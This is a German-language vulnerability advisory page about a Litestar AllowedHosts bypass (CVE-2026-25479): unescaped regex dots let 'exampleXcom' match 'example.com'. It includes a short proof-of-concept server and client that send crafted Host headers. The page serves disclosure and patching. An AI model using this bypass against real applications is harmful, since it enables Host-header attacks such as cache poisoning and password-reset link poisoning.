Mittel

Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns

  • Veröffentlicht: 09.02.2026
  • Aktualisiert: 11.10.2026 13:19

Summary

AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

Details

In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

PoC

Server (poc_allowed_hosts_server.py)

python
from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)

uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client (poc_allowed_hosts_client.py)

python
import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior): Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

Impact

Type: security control bypass (host allowlist) Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) litestar >= 2.19.0, < 2.20.0 2.20.0

Verweise

CVSS-Wert 6.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Schwäche (CWE)
CWE-185
Plattform
Python (PyPI)
Paket
litestar
Veröffentlicht
09.02.2026
Aktualisiert
11.10.2026 13:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2196 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-93ph-p7v4-hwh4 - CC BY 4.0

Schwachstellenhistorie: litestar

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (9) im Archiv
Einträge insgesamt
9
Erste → letzte
05.2024 06.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 5
  • Mittel 3
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2024: 2
  2. 2025: 2
  3. 2026: 5
Schweregrad:
  1. Hoch · 8.1 CVE-2026-48060 < 2.22.0 2.22.0
  2. Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns dieser Eintrag
    Mittel · 6.5 CVE-2026-25479 >= 2.19.0, < 2.20.0 2.20.0
  3. Hoch · 7.5 CVE-2025-59152 >= 2.17.0, < 2.18.0 2.18.0
  4. Hoch · 7.5 CVE-2024-52581 < 2.13.0 2.13.0
  5. Hoch · 8.2 CVE-2024-32982 >= 2.8.0, < 2.8.3, >= 2.7.0, < 2.7.2, >= 2.0.0, < 2.6.4 2.8.3, 2.7.2, 2.6.4

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.